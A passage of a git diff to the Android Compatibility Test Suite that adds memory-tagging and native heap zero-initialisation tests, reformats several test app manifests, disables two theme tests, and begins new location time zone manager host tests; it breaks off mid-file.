 #define PR_TAGGED_ADDR_ENABLE (1UL << 0)
@@ -36,8 +32,7 @@
 #endif
 }
 
-extern "C" JNIEXPORT jint JNICALL
-Java_android_cts_tagging_Utils_nativeHeapPointerTag(JNIEnv *) {
+extern "C" JNIEXPORT jint JNICALL Java_android_cts_tagging_Utils_nativeHeapPointerTag(JNIEnv *) {
 #ifdef __aarch64__
   void *p = malloc(10);
   jint tag = reinterpret_cast<uintptr_t>(p) >> 56;
@@ -48,22 +43,41 @@
 #endif
 }
 
-extern "C" __attribute__((no_sanitize("address", "hwaddress")))
-JNIEXPORT void JNICALL
+extern "C" __attribute__((no_sanitize("address", "hwaddress"))) JNIEXPORT void JNICALL
 Java_android_cts_tagging_Utils_accessMistaggedPointer(JNIEnv *) {
-  int* p = new int[4];
-  int* mistagged_p = reinterpret_cast<int*>(reinterpret_cast<uintptr_t>(p) + (1ULL << 56));
+  int *p = new int[4];
+  int *mistagged_p = reinterpret_cast<int *>(reinterpret_cast<uintptr_t>(p) + (1ULL << 56));
   volatile int load = *mistagged_p;
   (void)load;
   delete[] p;
 }
 
-extern "C"
-JNIEXPORT jboolean JNICALL
+extern "C" JNIEXPORT jboolean JNICALL
 Java_android_cts_tagging_Utils_mistaggedKernelUaccessFails(JNIEnv *) {
   auto *p = new utsname;
-  utsname* mistagged_p = reinterpret_cast<utsname*>(reinterpret_cast<uintptr_t>(p) + (1ULL << 56));
+  utsname *mistagged_p = reinterpret_cast<utsname *>(reinterpret_cast<uintptr_t>(p) + (1ULL << 56));
   bool result = uname(mistagged_p) != 0 && errno == EFAULT;
   delete p;
   return result;
 }
+
+__attribute__((optnone)) static bool sizeIsZeroInitialized(size_t size) {
+  const int kCount = 200;
+  for (int i = 0; i < kCount; ++i) {
+    char *volatile p = reinterpret_cast<char *>(malloc(size));
+    for (int j = 0; j < size; ++j) {
+      if (p[j] != 0) {
+        free(p);
+        return false;
+      }
+    }
+    memset(p, 42, size);
+    free(p);
+  }
+  return true;
+}
+
+extern "C" JNIEXPORT jboolean JNICALL
+Java_android_cts_tagging_Utils_heapIsZeroInitialized(JNIEnv *) {
+  return sizeIsZeroInitialized(100) && sizeIsZeroInitialized(2000) && sizeIsZeroInitialized(200000);
+}
diff --git a/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java b/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java
index dbd62d3..4f5e387 100644
--- a/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java
+++ b/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java
@@ -24,4 +24,6 @@
     public static native int nativeHeapPointerTag();
     public static native void accessMistaggedPointer();
     public static native boolean mistaggedKernelUaccessFails();
+
+    public static native boolean heapIsZeroInitialized();
 }
diff --git a/hostsidetests/tagging/sdk_30/AndroidManifest.xml b/hostsidetests/tagging/sdk_30/AndroidManifest.xml
index cc1c6c4..e381988 100644
--- a/hostsidetests/tagging/sdk_30/AndroidManifest.xml
+++ b/hostsidetests/tagging/sdk_30/AndroidManifest.xml
@@ -30,11 +30,21 @@
         <process android:process=":CrashMemtagAsync"
                  android:memtagMode="async" />
         <process android:process=":CrashProcess" />
+        <process android:process=":HeapZeroInitProcess"
+                 android:nativeHeapZeroInitialized="true" />
+        <process android:process=":HeapZeroInitMemtagAsyncProcess"
+                 android:memtagMode="async"
+                 android:nativeHeapZeroInitialized="true" />
       </processes>
 
+      <activity android:name=".TestActivity" />
+
       <activity android:name=".CrashActivity" android:process=":CrashProcess" />
       <activity android:name=".CrashMemtagSyncActivity" android:process=":CrashMemtagSync" />
       <activity android:name=".CrashMemtagAsyncActivity" android:process=":CrashMemtagAsync" />
+      <activity android:name=".HeapZeroInitActivity" android:process=":HeapZeroInitProcess" />
+      <activity android:name=".HeapZeroInitMemtagAsyncActivity"
+                android:process=":HeapZeroInitMemtagAsyncProcess" />
     </application>
 
     <instrumentation
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitActivity.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitActivity.java
new file mode 100644
index 0000000..0ae44a8
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.tagging.sdk30;
+
+import android.app.Activity;
+import android.cts.tagging.Utils;
+import android.os.Bundle;
+import android.util.Log;
+
+public class HeapZeroInitActivity extends Activity {
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        boolean result = Utils.heapIsZeroInitialized();
+        setResult(RESULT_FIRST_USER + (result ? 1 : 0));
+        finish();
+    }
+}
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitMemtagAsyncActivity.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitMemtagAsyncActivity.java
new file mode 100644
index 0000000..053681a
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/HeapZeroInitMemtagAsyncActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.tagging.sdk30;
+
+import android.app.Activity;
+import android.cts.tagging.Utils;
+import android.os.Bundle;
+import android.util.Log;
+
+public class HeapZeroInitMemtagAsyncActivity extends Activity {
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        boolean result = Utils.heapIsZeroInitialized();
+        setResult(RESULT_FIRST_USER + (result ? 1 : 0));
+        finish();
+    }
+}
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
index 51dedf2..cc5bf02 100644
--- a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
@@ -21,6 +21,7 @@
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 
+import android.app.Instrumentation.ActivityResult;
 import android.content.Context;
 import android.content.Intent;
 import android.cts.tagging.Utils;
@@ -28,10 +29,12 @@
 
 import androidx.test.filters.SmallTest;
 import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.runner.RunWith;
+import org.junit.Rule;
 import org.junit.Test;
 
 import com.android.compatibility.common.util.DropBoxReceiver;
@@ -133,4 +136,23 @@
 
         assertTrue(receiver.await());
     }
+
+    @Rule
+    public ActivityTestRule<TestActivity> mTestActivityRule =
+            new ActivityTestRule<>(
+                    TestActivity.class, false /*initialTouchMode*/, true /*launchActivity*/);
+
+    @Test
+    public void testHeapZeroInitActivity() throws Exception {
+      TestActivity activity = mTestActivityRule.getActivity();
+      boolean result = activity.callActivity(HeapZeroInitActivity.class);
+      assertTrue(result);
+    }
+
+    @Test
+    public void testHeapZeroInitMemtagAsyncActivity() throws Exception {
+      TestActivity activity = mTestActivityRule.getActivity();
+      boolean result = activity.callActivity(HeapZeroInitMemtagAsyncActivity.class);
+      assertTrue(result);
+    }
 }
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TestActivity.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TestActivity.java
new file mode 100644
index 0000000..ec099af
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TestActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.tagging.sdk30;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.Context;
+import android.os.Bundle;
+import android.util.Log;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+
+import java.lang.Override;
+
+
+public class TestActivity extends Activity {
+    static final String TAG = "TestActivity";
+
+    private int mResult;
+    private final Object mFinishEvent = new Object();
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        mResult = resultCode;
+        synchronized (mFinishEvent) {
+            mFinishEvent.notify();
+        }
+    }
+
+    public boolean callActivity(Class<?> cls) throws Exception {
+        Thread thread = new Thread() {
+            @Override
+            public void run() {
+                try {
+                    Context context = getApplicationContext();
+                    Intent intent = new Intent(context, cls);
+                    startActivityForResult(intent, 0);
+
+                    synchronized (mFinishEvent) {
+                        mFinishEvent.wait();
+                    }
+                } catch(Exception e) {
+                    Log.d(TAG, "callActivity got an exception " + e.toString());
+                }
+            }
+        };
+        thread.start();
+        thread.join(50000 /* millis */);
+
+        if (mResult == RESULT_OK) {
+          throw new Exception();
+        }
+        return (mResult - RESULT_FIRST_USER) == 1;
+    }
+}
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
index c43a015..b6510d7 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingSdk30Test.java
@@ -144,4 +144,16 @@
                 /*enabledChanges*/ ImmutableSet.of(),
                 /*disabledChanges*/ ImmutableSet.of());
     }
+
+    public void testHeapZeroInitActivity() throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testHeapZeroInitActivity",
+                /*enabledChanges*/ ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of());
+    }
+
+    public void testHeapZeroInitMemtagAsyncActivity() throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testHeapZeroInitMemtagAsyncActivity",
+                /*enabledChanges*/ ImmutableSet.of(),
+                /*disabledChanges*/ ImmutableSet.of());
+    }
 }
diff --git a/hostsidetests/testharness/app/AndroidManifest.xml b/hostsidetests/testharness/app/AndroidManifest.xml
index 421894d..8fd4ad1 100755
--- a/hostsidetests/testharness/app/AndroidManifest.xml
+++ b/hostsidetests/testharness/app/AndroidManifest.xml
@@ -16,20 +16,19 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.testharness.app">
+     package="android.testharness.app">
 
     <application>
-        <activity android:name=".TestHarnessActivity" >
+        <activity android:name=".TestHarnessActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.testharness.app" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.testharness.app"/>
 
 </manifest>
-
diff --git a/hostsidetests/theme/app/AndroidManifest.xml b/hostsidetests/theme/app/AndroidManifest.xml
index 7487a05..49f2d84 100755
--- a/hostsidetests/theme/app/AndroidManifest.xml
+++ b/hostsidetests/theme/app/AndroidManifest.xml
@@ -16,29 +16,30 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.theme.app">
+     package="android.theme.app">
 
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
 
     <application android:requestLegacyExternalStorage="true">
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name=".ThemeDeviceActivity"
-                  android:screenOrientation="portrait">
+             android:screenOrientation="portrait"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".GenerateImagesActivity"
-                  android:screenOrientation="portrait"
-                  android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|uiMode"
-                  android:exported="true" />
+             android:screenOrientation="portrait"
+             android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|uiMode"
+             android:exported="true"/>
     </application>
 
     <!--  self-instrumenting test package. -->
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.theme.app"
-                     android:label="Generates Theme reference images"/>
+         android:targetPackage="android.theme.app"
+         android:label="Generates Theme reference images"/>
 
 </manifest>
diff --git a/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java b/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
index 552b819..9bed031 100644
--- a/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
+++ b/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
@@ -169,8 +169,10 @@
 
     static final LayoutInfo[] LAYOUTS = {
             new LayoutInfo(R.layout.button, "button"),
-            new LayoutInfo(R.layout.button, "button_pressed",
-                    new ViewPressedModifier()),
+            // Temporarily remove tests for pressed Button widget. The Material ripple is in
+            // flux, so this is going to be failing frequently on Material until it stablizes.
+            //new LayoutInfo(R.layout.button, "button_pressed",
+            //        new ViewPressedModifier()),
             new LayoutInfo(R.layout.checkbox, "checkbox"),
             new LayoutInfo(R.layout.checkbox, "checkbox_checked",
                     new ViewCheckedModifier()),
@@ -185,8 +187,11 @@
             new LayoutInfo(R.layout.color_purple, "color_purple"),
             new LayoutInfo(R.layout.color_red_dark, "color_red_dark"),
             new LayoutInfo(R.layout.color_red_light, "color_red_light"),
-            new LayoutInfo(R.layout.datepicker, "datepicker",
-                    new DatePickerModifier()),
+            // Temporarily remove tests for the DatePicker widget. Something changed with font
+            // rendering behavior (likely ag/12562227 which upgraded Roboto to variable format)
+            // but we don't have resources available right now to update the golden images.
+            //new LayoutInfo(R.layout.datepicker, "datepicker",
+            //        new DatePickerModifier()),
             new LayoutInfo(R.layout.edittext, "edittext"),
             new LayoutInfo(R.layout.progressbar_horizontal_0, "progressbar_horizontal_0"),
             new LayoutInfo(R.layout.progressbar_horizontal_100, "progressbar_horizontal_100"),
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index a46269c..89c9985 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -16,6 +16,8 @@
 
 package android.theme.cts;
 
+import android.platform.test.annotations.RequiresDevice;
+
 import com.android.ddmlib.Log;
 import com.android.ddmlib.Log.LogLevel;
 import com.android.tradefed.device.CollectingOutputReceiver;
diff --git a/hostsidetests/time/Android.bp b/hostsidetests/time/Android.bp
new file mode 100644
index 0000000..4f82544
--- /dev/null
+++ b/hostsidetests/time/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsLocationTimeZoneManagerHostTest",
+    srcs:  ["host/src/**/*.java"],
+    libs: ["cts-tradefed", "tradefed"],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
+    test_suites: ["general-tests", "cts"],
+    test_config: "host/AndroidTest.xml",
+}
diff --git a/hostsidetests/time/OWNERS b/hostsidetests/time/OWNERS
new file mode 100644
index 0000000..a81fa72
--- /dev/null
+++ b/hostsidetests/time/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 847766
+nfuller@google.com
+include platform/frameworks/base:/core/java/android/app/timedetector/OWNERS
diff --git a/hostsidetests/time/TEST_MAPPING b/hostsidetests/time/TEST_MAPPING
new file mode 100644
index 0000000..1ce59ee
--- /dev/null
+++ b/hostsidetests/time/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLocationTimeZoneManagerHostTest"
+    }
+  ]
+}
diff --git a/hostsidetests/time/host/AndroidTest.xml b/hostsidetests/time/host/AndroidTest.xml
new file mode 100644
index 0000000..30b40f4
--- /dev/null
+++ b/hostsidetests/time/host/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Host test for location_time_zone_manager service">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="android.time.cts.host.LocationTimeZoneManagerHostTest" />
+        <option name="class" value="android.time.cts.host.LocationTimeZoneManagerStatsTest" />
+        <option name="class" value="android.time.cts.host.TimeZoneDetectorStatsTest" />
+    </test>
+</configuration>
diff --git a/hostsidetests/time/host/src/android/time/cts/host/BaseLocationTimeZoneManagerHostTest.java b/hostsidetests/time/host/src/android/time/cts/host/BaseLocationTimeZoneManagerHostTest.java
new file mode 100644
index 0000000..7a675a4
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/BaseLocationTimeZoneManagerHostTest.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.time.cts.host;
+
+import static android.time.cts.host.LocationTimeZoneManager.DUMP_STATE_OPTION_PROTO;
+import static android.time.cts.host.LocationTimeZoneManager.DeviceConfig.KEY_PRIMARY_LOCATION_TIME_ZONE_PROVIDER_MODE_OVERRIDE;
+import static android.time.cts.host.LocationTimeZoneManager.DeviceConfig.KEY_SECONDARY_LOCATION_TIME_ZONE_PROVIDER_MODE_OVERRIDE;
+import static android.time.cts.host.LocationTimeZoneManager.DeviceConfig.PROVIDER_MODE_SIMULATED;
+import static android.time.cts.host.LocationTimeZoneManager.PRIMARY_PROVIDER_INDEX;
+import static android.time.cts.host.LocationTimeZoneManager.SECONDARY_PROVIDER_INDEX;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_DUMP_STATE;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_RECORD_PROVIDER_STATES;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_SEND_PROVIDER_TEST_COMMAND;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_START;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_STOP;
+import static android.time.cts.host.LocationTimeZoneManager.SIMULATED_PROVIDER_TEST_COMMAND_ON_BIND;
+import static android.time.cts.host.LocationTimeZoneManager.SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS;
+import static android.time.cts.host.LocationTimeZoneManager.SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS_ARG_KEY_TZ;
+
+import android.app.time.LocationTimeZoneManagerServiceStateProto;
+
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.google.protobuf.Parser;
+
+import org.junit.After;
+import org.junit.Before;
+
+/** A base class for tests that interact with the location_time_zone_manager via adb. */
+public abstract class BaseLocationTimeZoneManagerHostTest extends BaseHostJUnit4Test {
+
+    private boolean mOriginalLocationEnabled;
+
+    private boolean mOriginalAutoDetectionEnabled;
+
+    private boolean mOriginalGeoDetectionEnabled;
+
+    protected TimeZoneDetectorHostHelper mTimeZoneDetectorHostHelper;
+
+    @Before
+    public void setUp() throws Exception {
+        TimeZoneDetectorHostHelper timeZoneDetectorHostHelper =
+                new TimeZoneDetectorHostHelper(getDevice());
+
+        // Confirm the service being tested is present. It can be turned off, in which case there's
+        // nothing to test.
+        timeZoneDetectorHostHelper.assumeLocationTimeZoneManagerIsPresent();
+
+        // Only set this if the device meets requirements. It is used to work out if there is
+        // tearDown work required.
+        mTimeZoneDetectorHostHelper = timeZoneDetectorHostHelper;
+
+        // All tests start with the location_time_zone_manager disabled so that providers can be
+        // configured.
+        stopLocationTimeZoneManagerService();
+
+        // Configure two simulated providers. At least one is needed to be able to turn on
+        // geo detection below. Tests may override these values for their own use.
+        setProviderModeOverride(PRIMARY_PROVIDER_INDEX, PROVIDER_MODE_SIMULATED);
+        setProviderModeOverride(SECONDARY_PROVIDER_INDEX, PROVIDER_MODE_SIMULATED);
+
+        // Make sure locations is enabled, otherwise the geo detection feature will be disabled
+        // whatever the geolocation detection setting is set to.
+        mOriginalLocationEnabled = mTimeZoneDetectorHostHelper.isLocationEnabledForCurrentUser();
+        if (!mOriginalLocationEnabled) {
+            mTimeZoneDetectorHostHelper.setLocationEnabledForCurrentUser(true);
+        }
+
+        // Make sure automatic time zone detection is enabled, otherwise the geo detection feature
+        // will be disabled whatever the geolocation detection setting is set to
+        mOriginalAutoDetectionEnabled = mTimeZoneDetectorHostHelper.isAutoDetectionEnabled();
+        if (!mOriginalAutoDetectionEnabled) {
+            mTimeZoneDetectorHostHelper.setAutoDetectionEnabled(true);
+        }
+
+        // Make sure geolocation time zone detection is enabled.
+        mOriginalGeoDetectionEnabled = mTimeZoneDetectorHostHelper.isGeoDetectionEnabled();
+        if (!mOriginalGeoDetectionEnabled) {
+            mTimeZoneDetectorHostHelper.setGeoDetectionEnabled(true);
+        }
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mTimeZoneDetectorHostHelper == null) {
+            // Setup didn't do anything, no need to tearDown.
+            return;
+        }
+        // Turn off the service before we reset configuration, otherwise it will restart itself
+        // repeatedly.
+        stopLocationTimeZoneManagerService();
+
+        // Reset settings and server flags as best we can.
+        mTimeZoneDetectorHostHelper.setGeoDetectionEnabled(mOriginalGeoDetectionEnabled);
+        mTimeZoneDetectorHostHelper.setAutoDetectionEnabled(mOriginalAutoDetectionEnabled);
+        mTimeZoneDetectorHostHelper.setLocationEnabledForCurrentUser(mOriginalLocationEnabled);
+        mTimeZoneDetectorHostHelper.resetSystemTimeDeviceConfigKeys();
+        setLocationTimeZoneManagerStateRecordingMode(false);
+
+        // Attempt to start the service. It may not start if there are no providers configured,
+        // but that is ok.
+        startLocationTimeZoneManagerService();
+    }
+
+    protected LocationTimeZoneManagerServiceStateProto dumpLocationTimeZoneManagerServiceState()
+            throws Exception {
+        byte[] protoBytes = executeLocationTimeZoneManagerCommand(
+                "%s --%s", SHELL_COMMAND_DUMP_STATE, DUMP_STATE_OPTION_PROTO);
+        Parser<LocationTimeZoneManagerServiceStateProto> parser =
+                LocationTimeZoneManagerServiceStateProto.parser();
+        return parser.parseFrom(protoBytes);
+    }
+
+    protected void setLocationTimeZoneManagerStateRecordingMode(boolean enabled) throws Exception {
+        String command = String.format("%s %s", SHELL_COMMAND_RECORD_PROVIDER_STATES, enabled);
+        executeLocationTimeZoneManagerCommand(command);
+    }
+
+    protected void startLocationTimeZoneManagerService() throws Exception {
+        executeLocationTimeZoneManagerCommand(SHELL_COMMAND_START);
+    }
+
+    protected void stopLocationTimeZoneManagerService() throws Exception {
+        executeLocationTimeZoneManagerCommand(SHELL_COMMAND_STOP);
+    }
+
+    protected void setProviderModeOverride(int providerIndex, String mode) throws Exception {
+        String deviceConfigKey;
+        if (providerIndex == PRIMARY_PROVIDER_INDEX) {
+            deviceConfigKey = KEY_PRIMARY_LOCATION_TIME_ZONE_PROVIDER_MODE_OVERRIDE;
+        } else {
+            deviceConfigKey = KEY_SECONDARY_LOCATION_TIME_ZONE_PROVIDER_MODE_OVERRIDE;
+        }
+
+        if (mode == null) {
+            mTimeZoneDetectorHostHelper.clearSystemTimeDeviceConfigKey(deviceConfigKey);
+        } else {
+            mTimeZoneDetectorHostHelper.setSystemTimeDeviceConfigKey(deviceConfigKey, mode);
+        }
+    }
+
+    protected void simulateProviderSuggestion(int providerIndex, String... zoneIds)
+            throws Exception {
+        String timeZoneIds = String.join("&", zoneIds);
+        String testCommand = String.format("%s %s=string_array:%s",
+                SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS,
+                SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS_ARG_KEY_TZ,
+                timeZoneIds);
+        executeProviderTestCommand(providerIndex, testCommand);
+    }
+
+    protected void simulateProviderBind(int providerIndex) throws Exception {
+        executeProviderTestCommand(providerIndex, SIMULATED_PROVIDER_TEST_COMMAND_ON_BIND);
+    }
+
+    private void executeProviderTestCommand(int providerIndex, String testCommand)
+            throws Exception {
+        executeLocationTimeZoneManagerCommand("%s %s %s",
+                SHELL_COMMAND_SEND_PROVIDER_TEST_COMMAND, providerIndex, testCommand);
+    }
+
+    private byte[] executeLocationTimeZoneManagerCommand(String cmd, Object... args)
+            throws Exception {
+        String command = String.format(cmd, args);
+        return mTimeZoneDetectorHostHelper.executeShellCommandReturnBytes("cmd %s %s",
+                LocationTimeZoneManager.SHELL_COMMAND_SERVICE_NAME, command);
+    }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java b/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
new file mode 100644
index 0000000..dab7e33
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+/**
+ * Constants related to the LocationManager service shell commands.
+ */
+final class LocationManager {
+
+    /**
+     * The name of the service for shell commands,
+     */
+    static final String SHELL_COMMAND_SERVICE_NAME = "location";
+
+    /**
+     * A shell command that sets the current user's "location enabled" setting value.
+     */
+    static final String SHELL_COMMAND_SET_LOCATION_ENABLED = "set-location-enabled";
+
+    /**
+     * A shell command that gets the current user's "location enabled" setting value.
+     */
+    static final String SHELL_COMMAND_IS_LOCATION_ENABLED = "is-location-enabled";
+
+    private LocationManager() {
+        // No need to instantiate.
+    }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManager.java b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManager.java
new file mode 100644
index 0000000..5031bce
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManager.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
